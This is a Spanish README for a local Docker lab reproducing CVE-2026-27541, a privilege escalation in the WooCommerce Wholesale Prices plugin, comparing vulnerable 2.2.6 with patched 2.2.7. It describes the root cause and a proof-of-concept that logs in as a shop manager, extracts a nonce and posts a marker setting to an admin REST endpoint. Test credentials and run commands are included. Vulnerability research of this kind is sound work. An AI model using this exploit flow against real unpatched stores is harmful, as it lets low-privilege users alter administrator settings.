
# Laboratorio Docker para reproducir CVE-2026-27541, una escalada de privilegios autenticada en WooCommerce Wholesale Prices. Compara las versiones vulnerable y parcheada, incluye script PoC y análisis de la causa raíz.

Este proyecto es un laboratorio Docker local para analizar y reproducir el comportamiento de CVE-2026-27541 en el plugin WooCommerce Wholesale Prices / Wholesale Suite, comparando las versiones vulnerable y parcheada lado a lado en la misma máquina.
El problema principal es un Control de Acceso Roto en el siguiente endpoint de la API REST:
/wp-json/wwp/v1/admin/save
Según el código fuente utilizado en este laboratorio, esa ruta ya tiene un permission_callback tanto en la versión vulnerable como en la parcheada. Sin embargo, la versión afectada utiliza una comprobación de capacidades demasiado amplia para una acción de escritura de ajustes de administrador:
2.2.6) → current_user_can( 'manage_woocommerce' )2.2.7) → current_user_can( 'manage_options' )En este laboratorio, el usuario shopmgr, que tiene el rol shop_manager, tiene manage_woocommerce=true pero no manage_options. Como resultado, este usuario de bajo privilegio puede utilizar una sesión válida iniciada más un X-WP-Nonce válido para invocar el endpoint de guardado de ajustes de administrador en la versión vulnerable, mientras que la versión parcheada devuelve 403 rest_forbidden para la misma solicitud.
2.2.6): el usuario shopmgr puede llamar con éxito a POST /wp-json/wwp/v1/admin/save y modificar los ajustes del plugin.2.2.7): la misma solicitud de shopmgr es rechazada con 403.403, lo que es coherente con que se trate de un problema de escalada de privilegios post-autenticación.wwp_see_wholesale_prices_replacement_text=PWNED_BY_POC, mientras que la versión parcheada sigue devolviendo See wholesale prices.vuln → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.6patched → WordPress + WooCommerce + WooCommerce Wholesale Prices 2.2.7db-vuln / db-patched → bases de datos MariaDB separadasseed-vuln / seed-patched → trabajos de inicialización wp-cli que instalan WordPress, instalan el plugin, crean usuarios y crean un producto para pruebashttp://localhost:8081 → vulnerablehttp://localhost:8082 → parcheadowordpress:6.8.1-php8.2-apachemariadb:11.4.5wordpress:cli-php8.2.
├── docker-compose.yml
├── README.md
├── patched/
│ └── Dockerfile
├── vuln/
│ └── Dockerfile
├── scripts/
│ └── seed-wp.sh
└── poc.py
docker-compose.yml — define las pilas vulnerable y parcheada con bases de datos separadasscripts/seed-wp.sh — instala WordPress, WooCommerce, el plugin objetivo y crea usuarios de prueba y datos de productopoc.py — PoC de mínimo daño para inicio de sesión, extracción de nonce e invocación del endpoint RESTUna vez que la pila está lista, el script de inicialización crea lo siguiente:
admin / AdminPass!234shopmgr / ShopMgrPass!234lab-product10050WooCommerce: 10.6.0
WooCommerce Wholesale Prices:
2.2.62.2.7El script también escribe lab-secrets.json en cada contenedor de WordPress para que los datos inicializados y la información de versión puedan verificarse.
Este PoC no intenta tomar el control del sitio, cambiar roles, instalar plugins ni ejecutar un shell.
Solo hace lo siguiente:
shopmgrwpApiSettings.noncewwp_see_wholesale_prices_replacement_text = PWNED_BY_POC
Este ajuste se utiliza como marcador observable para demostrar que un usuario de bajo privilegio puede modificar configuración exclusiva de administradores.
POST /wp-json/wwp/v1/admin/saveAunque el endpoint requiere una sesión válida y un nonce, la versión vulnerable aún permite que un usuario de bajo privilegio como shopmgr con el rol shop_manager invoque un endpoint que debería ser exclusivo de administradores.
Esta no es una vulnerabilidad no autenticada.
Si el endpoint se llama directamente sin una sesión iniciada, tanto la versión vulnerable como la parcheada rechazan la solicitud. El error existe en la autorización después de la autenticación, no en la autenticación en sí.
La versión vulnerable no carece de un permission_callback. El fallo es que utiliza una comprobación de capacidades demasiado amplia (manage_woocommerce) para una acción REST que escribe ajustes del lado del administrador.
Del código fuente en includes/class-wwp-admin-settings.php:
POST /wp-json/wwp/v1/admin/savesave_registered_settings()permission_admin_check() como permission_callback2.2.6)if ( ! current_user_can( 'manage_woocommerce' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
2.2.7)if ( ! current_user_can( 'manage_options' ) ) {
return new WP_Error( 'rest_forbidden', ... );
}
En este laboratorio, el usuario shopmgr, que tiene el rol shop_manager, tiene manage_woocommerce=true pero no manage_options, por lo que supera la comprobación vulnerable pero falla en la parcheada.
La versión parcheada hace más que cambiar la respuesta de 200 a 403. Cambia la lógica de control de acceso al endurecer el requisito de capacidad de manage_woocommerce a manage_options.
Además, la ruta de guardado en la versión parcheada está aún más reforzada al alejarse del filtrado basado en prefijos hacia listas blancas explícitas y una sanitización más fuerte.
El PoC sigue el mismo flujo que un contexto de navegador real:
shopmgrwpApiSettings.noncePOST /wp-json/wwp/v1/admin/saveDebido a que la versión vulnerable permite que los usuarios con manage_woocommerce invoquen esta acción de escritura de ajustes, la solicitud tiene éxito y resulta en un cambio persistente de opción.
Un nonce ayuda a proteger contra CSRF, pero no es un control de autorización.
Tener una sesión válida y un nonce válido no significa que un usuario deba tener permitido realizar una acción de administrador. Usar una capacidad demasiado amplia en un endpoint privilegiado es suficiente para crear una omisión de autorización de bajo privilegio.
docker compose up -d --build
docker compose ps
Debería ver al menos:
cve-2026-27541-vuln-1cve-2026-27541-patched-1cve-2026-27541-db-vuln-1cve-2026-27541-db-patched-1docker compose logs -f seed-vuln seed-patched
docker compose exec vuln cat /var/www/html/lab-secrets.json
docker compose exec patched cat /var/www/html/lab-secrets.json
poc.py funciona de la siguiente manera:
GET /wp-login.php
POST /wp-login.php para establecer una sesión autenticada
abrir la página de administración del plugin:
/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
extraer wpApiSettings.nonce y la raíz REST del HTML/JavaScript
enviar una solicitud a:
/wp-json/wwp/v1/admin/save
enviar el payload:
[
{
"key": "wwp_see_wholesale_prices_replacement_text",
"value": "PWNED_BY_POC"
}
]
python3 poc.py \
--base-url http://localhost:8081 \
--username shopmgr \
--password 'ShopMgrPass!234'
python3 poc.py \
--base-url http://localhost:8082 \
--username shopmgr \
--password 'ShopMgrPass!234'
8081)Salida esperada:
[+] Base URL: http://localhost:8081
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8081/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: b6b6add11b
[+] REST root: http://localhost:8081/wp-json/
[+] Sending payload to: http://localhost:8081/wp-json/wwp/v1/admin/save
[+] HTTP status: 200
{"status":"success","message":"Settings saved successfully."}
[+] PoC SUCCESS (pwnd)
[*] Verify via incognito (not logged in):
- Open product page
- Look for: PWNED_BY_POC
8082)Salida esperada:
[+] Base URL: http://localhost:8082
[+] Username: shopmgr
[+] Logged in successfully
[+] Accessed admin page: http://localhost:8082/wp-admin/admin.php?page=wholesale-settings&tab=wholesale_prices
[+] Using wpApiSettings nonce
[+] Nonce: 5c4ef2ac6f
[+] REST root: http://localhost:8082/wp-json/
[+] Sending payload to: http://localhost:8082/wp-json/wwp/v1/admin/save
[+] HTTP status: 403
{"code":"rest_forbidden","message":"You do not have permission to save data.","data":{"status":403}}
[-] PoC failed
Después de que el PoC tenga éxito en el nodo vulnerable:
PWNED_BY_POC
El impacto práctico de esta clase de error es que un usuario de bajo privilegio puede modificar configuración que debería ser exclusiva de administradores, lo que puede conducir directamente a:
Este laboratorio utiliza intencionalmente un payload seguro y observable para evitar cambios de roles o cualquier escalada más allá de lo necesario para demostrar la condición de vulnerabilidad.
docker compose down -v
localhostEste laboratorio demuestra que CVE-2026-27541 es una omisión de autorización autenticada de bajo privilegio en el endpoint de ajustes de la API REST del plugin. El fallo en la versión 2.2.6 no es la ausencia de una comprobación de permisos, sino el uso de una capacidad demasiado amplia (manage_woocommerce) para una acción que debería estar restringida al nivel de manage_options.
En este entorno local:
shopmgr supera la comprobación vulnerable y puede modificar con éxito los ajustes del lado del administrador a través de POST /wp-json/wwp/v1/admin/save2.2.7PWNED_BY_POC en la opción objetivo, mientras que la versión parcheada no lo haceComo resultado, este repositorio sirve tanto como prueba de comportamiento como prueba respaldada por código de la diferencia entre la versión vulnerable y la parcheada en un entorno local totalmente controlado.